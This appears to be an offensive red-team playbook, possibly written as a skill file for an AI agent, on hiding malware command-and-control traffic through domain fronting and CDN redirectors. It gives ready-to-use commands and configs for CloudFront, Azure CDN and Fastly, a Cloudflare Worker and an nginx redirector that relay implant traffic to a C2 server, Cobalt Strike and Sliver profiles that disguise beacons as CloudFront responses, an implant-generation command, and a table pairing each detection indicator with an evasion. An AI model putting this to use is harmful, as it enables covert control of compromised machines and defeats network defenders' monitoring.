Domain Fronting & CDN Abuse for C2
Domain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., cdn.microsoft.com) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.
Quick Reference
# Test domain fronting via CloudFront
curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search
# Test Azure CDN fronting
curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test
# Sliver HTTPS listener with domain fronting
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>
# Cobalt Strike — set in Malleable C2 profile
# header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
MITRE ATT&CK Mapping
| Technique | ID | Usage in Skill |
|---|---|---|
| Proxy: Domain Fronting | T1090.004 | CDN-based SNI/Host header mismatch for C2 |
| Web Service: Bidirectional Communication | T1102.002 | CDN edge as bidirectional C2 relay |
| Data Obfuscation | T1001 | C2 traffic disguised as CDN content requests |
1. The Domain Fronting Technique
How It Works
┌─────────┐ TLS SNI: allowed.example.com ┌──────────┐
│ Implant │ ─────────────────────────────────► │ CDN │
│ │ Host: c2.attacker.cloudfront.net │ Edge │
└─────────┘ └────┬─────┘
│ Routes by Host header
▼
┌──────────┐
│ C2 Origin│
│ Server │
└──────────┘
TLS layer (visible to network monitor):
- SNI =
allowed.example.com(high-reputation domain on same CDN) - Certificate = CDN wildcard cert (e.g.,
*.cloudfront.net) - IP = CDN edge node
HTTP layer (inside TLS, invisible to monitor):
Host: c2-distribution.cloudfront.net→ CDN routes to operator's origin
Result: Blocking the C2 requires blocking the entire CDN.
Requirements
- CDN that routes by Host header (not all do — see provider matrix)
- A legitimate high-reputation domain on the same CDN for the SNI
- Operator's C2 server registered as a CDN origin/backend
- The CDN must not enforce SNI == Host (many now do)
2. CloudFront Domain Fronting
Setup
# 1. Create CloudFront distribution pointing to C2 origin
aws cloudfront create-distribution \
--origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \
--default-root-object index.html \
--query 'Distribution.DomainName'
# Returns: d1234abcdef.cloudfront.net
# 2. Find a frontable domain (legitimate site on CloudFront)
# Use: dig <CANDIDATE_DOMAIN> — look for CNAME to *.cloudfront.net
dig allowed-domain.com CNAME +short
# Output: d9876xyz.cloudfront.net. → same CDN, usable as front
# 3. Test fronting
curl -v -H "Host: d1234abcdef.cloudfront.net" \
https://allowed-domain.com/beacon
# Successful: HTTP 200 from your C2 origin
# Failed: HTTP 403 "The request could not be satisfied" — front domain not viable
CloudFront Configuration
# Create distribution via JSON config
cat > /workspace/c2/cloudfront-config.json << 'EOF'
{
"CallerReference": "c2-$(date +%s)",
"Origins": {
"Items": [{
"Id": "c2-origin",
"DomainName": "<C2_ORIGIN>",
"CustomOriginConfig": {
"HTTPPort": 80,
"HTTPSPort": 443,
"OriginProtocolPolicy": "https-only"
}
}],
"Quantity": 1
},
"DefaultCacheBehavior": {
"TargetOriginId": "c2-origin",
"ViewerProtocolPolicy": "https-only",
"AllowedMethods": {
"Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
"Quantity": 7
},
"ForwardedValues": {
"QueryString": true,
"Cookies": {"Forward": "all"},
"Headers": {"Items": ["*"], "Quantity": 1}
},
"MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0
},
"Enabled": true,
"Comment": ""
}
EOF
aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.json
Current Status (CloudFront)
AWS partially mitigated domain fronting in 2018. CloudFront now validates that the Host header matches a configured CNAME or the distribution's own domain. Pure cross-distribution fronting is blocked. However:
- Fronting within the same distribution (multiple CNAMEs) still works
- Fronting to distributions without custom domains may work intermittently
- CloudFront Functions can be used to rewrite headers before origin routing
3. Azure CDN Domain Fronting
Azure CDN (via Verizon/Akamai POP) has historically been more permissive with Host header routing.
Setup
# 1. Create Azure CDN profile and endpoint
az cdn profile create --name c2-cdn --resource-group <RG> --sku Standard_Verizon
az cdn endpoint create \
--name <C2_ENDPOINT> \
--profile-name c2-cdn \
--resource-group <RG> \
--origin <C2_ORIGIN> \
--origin-host-header <C2_ORIGIN>
# Endpoint: <C2_ENDPOINT>.azureedge.net
# 2. Test fronting with a high-reputation Azure CDN domain
curl -v -H "Host: <C2_ENDPOINT>.azureedge.net" \
https://ajax.aspnetcdn.com/test
# 3. Alternative fronting domains on Azure CDN:
# - ajax.aspnetcdn.com
# - az416426.vo.msecnd.net
# - Various *.azureedge.net endpoints
Azure-Specific Notes
- Azure has been tightening validation since 2021
Standard_MicrosoftSKU enforces SNI/Host matching — useStandard_Verizon- Azure Front Door provides similar capabilities with more control
- Test each frontable domain before deployment; availability changes
4. Fastly Domain Fronting
Fastly's architecture makes fronting straightforward when a target domain shares the Fastly POP.
Setup
# 1. Create Fastly service via API
curl -X POST "https://api.fastly.com/service" \
-H "Fastly-Key: <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"name":"c2-service","type":"vcl"}'
# 2. Add backend (C2 origin)
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/backend" \
-H "Fastly-Key: <API_TOKEN>" \
-d "name=c2-origin&address=<C2_ORIGIN>&port=443&use_ssl=1"
# 3. Add domain
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/domain" \
-H "Fastly-Key: <API_TOKEN>" \
-d "name=c2-front.global.ssl.fastly.net"
# 4. Activate version
curl -X PUT "https://api.fastly.com/service/<SVC_ID>/version/<VER>/activate" \
-H "Fastly-Key: <API_TOKEN>"
# 5. Test
curl -v -H "Host: c2-front.global.ssl.fastly.net" \
https://legitimate-customer.global.ssl.fastly.net/beacon
5. CDN-Based Redirectors
When pure domain fronting is unavailable, CDN edge functions (CloudFront Functions, Cloudflare Workers, Fastly Compute) act as smart redirectors.
Cloudflare Worker Redirector
// Cloudflare Worker — proxies C2 traffic to origin
// Deploy on a legitimate-looking domain (e.g., analytics-cdn.example.com)
addEventListener("fetch", event => {
event.respondWith(handleRequest(event.request));
});
async function handleRequest(request) {
const C2_ORIGIN = "https://<C2_SERVER>";
const url = new URL(request.url);
// Only proxy specific paths (blend with legitimate 404s on others)
if (!url.pathname.startsWith("/api/v2/")) {
return new Response("Not Found", { status: 404 });
}
// Forward to C2 origin
const c2Url = C2_ORIGIN + url.pathname + url.search;
const modifiedRequest = new Request(c2Url, {
method: request.method,
headers: request.headers,
body: request.body
});
const response = await fetch(modifiedRequest);
// Strip identifying headers from response
const modifiedResponse = new Response(response.body, response);
modifiedResponse.headers.set("Server", "cloudflare");
modifiedResponse.headers.delete("X-Powered-By");
return modifiedResponse;
}
Nginx Redirector (On CDN Origin)
# /etc/nginx/sites-available/c2-redirect.conf
# Sits behind CDN; forwards matching requests to teamserver
server {
listen 443 ssl;
server_name <C2_ORIGIN>;
ssl_certificate /etc/letsencrypt/live/<C2_ORIGIN>/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/<C2_ORIGIN>/privkey.pem;
# Proxy Beacon traffic to teamserver
location /s/ref {
proxy_pass https://127.0.0.1:8443;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_ssl_verify off;
}
location /gp/product {
proxy_pass https://127.0.0.1:8443;
proxy_set_header Host $host;
proxy_ssl_verify off;
}
# Return legitimate content for other paths (categorization)
location / {
root /var/www/html;
index index.html;
}
}
6. Cobalt Strike Integration
Malleable C2 Profile for Domain Fronting
# /workspace/profiles/fronting.profile
set sample_name "CDN Fronting Profile";
set sleeptime "60000";
set jitter "40";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set host_stage "false";
https-certificate {
# Use the CDN's certificate — no custom cert needed
# The CDN terminates TLS; origin connection is separate
set CN "*.cloudfront.net";
set O "Amazon";
set C "US";
}
http-get {
set uri "/s/ref=nb_sb_noss_2";
client {
header "Accept" "*/*";
header "Accept-Language" "en-US,en;q=0.5";
# This is the critical header — CDN routes by it
header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
metadata {
base64url;
header "Cookie";
}
}
server {
header "Content-Type" "text/html; charset=utf-8";
header "Server" "CloudFront";
header "X-Cache" "Hit from cloudfront";
output {
netbios;
prepend "<!DOCTYPE html><html><body>";
append "</body></html>";
print;
}
}
}
http-post {
set uri "/api/v2/submit";
client {
header "Content-Type" "application/json";
header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
id {
base64url;
header "X-Request-Id";
}
output {
base64url;
print;
}
}
server {
header "Content-Type" "application/json";
output {
netbios;
prepend "{\"status\":\"ok\",\"payload\":\"";
append "\"}";
print;
}
}
}
Beacon Configuration
# In Cobalt Strike listener config:
# HTTPS Host (stager): <FRONTABLE_DOMAIN>
# HTTPS Host (post): <FRONTABLE_DOMAIN>
# HTTPS Port: 443
# Profile: fronting.profile (loaded at teamserver start)
#
# The listener binds on the teamserver; the CDN proxies traffic to it.
# The Beacon connects to <FRONTABLE_DOMAIN>:443 (CDN edge).
# The Host header routes to <C2_DISTRIBUTION>.cloudfront.net -> C2 origin.
7. Sliver Integration
Sliver HTTPS with Domain Fronting
# In Sliver console:
# 1. Start HTTPS listener on C2 origin
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>
# 2. Generate implant that connects to frontable domain
generate beacon --https <FRONTABLE_DOMAIN> --os windows --arch amd64 \
--seconds 60 --jitter 40 --skip-symbols \
--save /workspace/exploit/
# 3. Custom HTTP C2 profile for fronting
# Save as profiles/fronting.json
Sliver HTTP C2 Profile for Fronting
{
"implant_config": {
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"url_parameters": [],
"headers": [
{"name": "Host", "value": "<C2_DISTRIBUTION>.cloudfront.net", "probability": 100},
{"name": "Accept", "value": "text/html", "probability": 100}
]
},
"server_config": {
"headers": [
{"name": "Content-Type", "value": "text/html; charset=utf-8", "probability": 100},
{"name": "Server", "value": "CloudFront", "probability": 100},
{"name": "X-Cache", "value": "Hit from cloudfront", "probability": 100}
]
}
}
8. TLS SNI vs Host Header
TLS ClientHello (visible): SNI = allowed-site.cloudfront.net
HTTP Request (encrypted): Host: c2-dist.cloudfront.net ← CDN routes by THIS
| Failure Mode | Cause | Fix |
|---|---|---|
| HTTP 403 | CDN validates SNI == Host | Try alternate CDN or redirector |
| TLS error | SNI domain not on CDN | Verify domain resolves to CDN edge |
| HTTP 421 | HTTP/2 ORIGIN frame validation | Fall back to HTTP/1.1 |
| 502/504 | CDN can't reach C2 origin | Whitelist CDN IP ranges on origin firewall |
ECH/ESNI: Encrypted Client Hello encrypts the SNI field entirely — eliminates the need for fronting when CDN supports it. Test: curl -v --ech true https://<C2>/beacon
Detection Signatures
| Indicator | Pattern | Mitigation |
|---|---|---|
| SNI/Host mismatch | TLS SNI differs from HTTP Host header | Use CDN domains from same organization |
| CDN origin pull | Unusual origin IP in CDN access logs | Use cloud VM as origin; rotate IPs |
| JA3 fingerprint | TLS fingerprint doesn't match expected browser | Match JA3 to target browser version |
| Beacon timing | Regular HTTPS requests to CDN at fixed intervals | High jitter (50%+); randomize URI paths |
| HTTP/2 ORIGIN | CDN pushes ORIGIN frame revealing allowed hosts | Fall back to HTTP/1.1 in profile |
| Response size anomaly | C2 responses differ from legitimate content | Pad responses; prepend/append real HTML |
| Certificate transparency | CT logs reveal C2 distribution domain | Use existing CDN distributions |
Error Handling & Edge Cases
| Issue | Symptom | Resolution |
|---|---|---|
| CDN blocks fronting | HTTP 403 on every request | Switch CDN provider or use CDN redirector pattern |
| DNS resolution fails | Frontable domain doesn't resolve | Verify domain is active; check DNS propagation |
| Origin connection refused | CDN can't reach C2 backend | Ensure C2 server allows CDN IP ranges in firewall |
| TLS version mismatch | Handshake failure | Match CDN's minimum TLS version (usually 1.2+) |
| Rate limiting | CDN rate-limits requests from same IP | Increase sleep; distribute across edge POPs |
| HTTP/2 enforcement | CDN upgrades to HTTP/2; breaks fronting | Force HTTP/1.1 in profile or use h2 with correct ORIGIN |
| CDN caching | Stale C2 responses served from cache | Set Cache-Control: no-store; TTL=0 in CDN config |
| Provider policy change | Fronting stops working without warning | Monitor; maintain fallback C2 channel (DNS, alt CDN) |
Decision Gate
Is domain fronting viable for this engagement?
├── Test: curl -H "Host: <C2>.cloudfront.net" https://<FRONT_DOMAIN>/
│ ├── HTTP 200 from C2 origin → Fronting works
│ │ ├── CloudFront available → Use CloudFront + Malleable C2 profile
│ │ ├── Azure CDN available → Use azureedge.net fronting
│ │ └── Fastly available → Use Fastly global SSL fronting
│ ├── HTTP 403 → CDN enforces SNI/Host match
│ │ ├── CDN redirector pattern (Cloudflare Worker, Lambda@Edge)
│ │ ├── Same-distribution fronting (multiple CNAMEs)
│ │ └── Try alternate CDN provider
│ └── Connection error → Domain not on CDN
│ └── Use CDN redirector or direct HTTPS with categorized domain
├── ECH/ESNI available on target CDN?
│ ├── YES → ECH eliminates need for fronting; SNI is encrypted
│ └── NO → Standard fronting or redirector required
└── Fallback strategy
├── Primary: Domain fronting via CDN
├── Secondary: CDN Worker/Function redirector
└── Tertiary: Alternative C2 channel (see c2-alternative-channels)
Tools & Resources
| Tool | Purpose | Source |
|---|---|---|
| Cobalt Strike | Malleable C2 profiles with fronting support | https://www.cobaltstrike.com/ |
| Sliver | Open-source C2 with HTTP profile customization | https://github.com/BishopFox/sliver |
| FindFrontableDomains | Discover CDN-hosted domains for fronting | https://github.com/rvrsh3ll/FindFrontableDomains |
| DomainHunter | Expired domain finder with categorization | https://github.com/threatexpress/domainhunter |
| Meek (Tor) | Domain fronting transport plugin | https://trac.torproject.org/projects/tor/wiki/doc/meek |
| Cloudflare Workers | Edge function C2 redirector | https://workers.cloudflare.com/ |
| mod_rewrite | Apache redirector rules | https://github.com/threatexpress/cs2modrewrite |
| RedWarden | C2 traffic inspection/filtering proxy | https://github.com/mgeeky/RedWarden |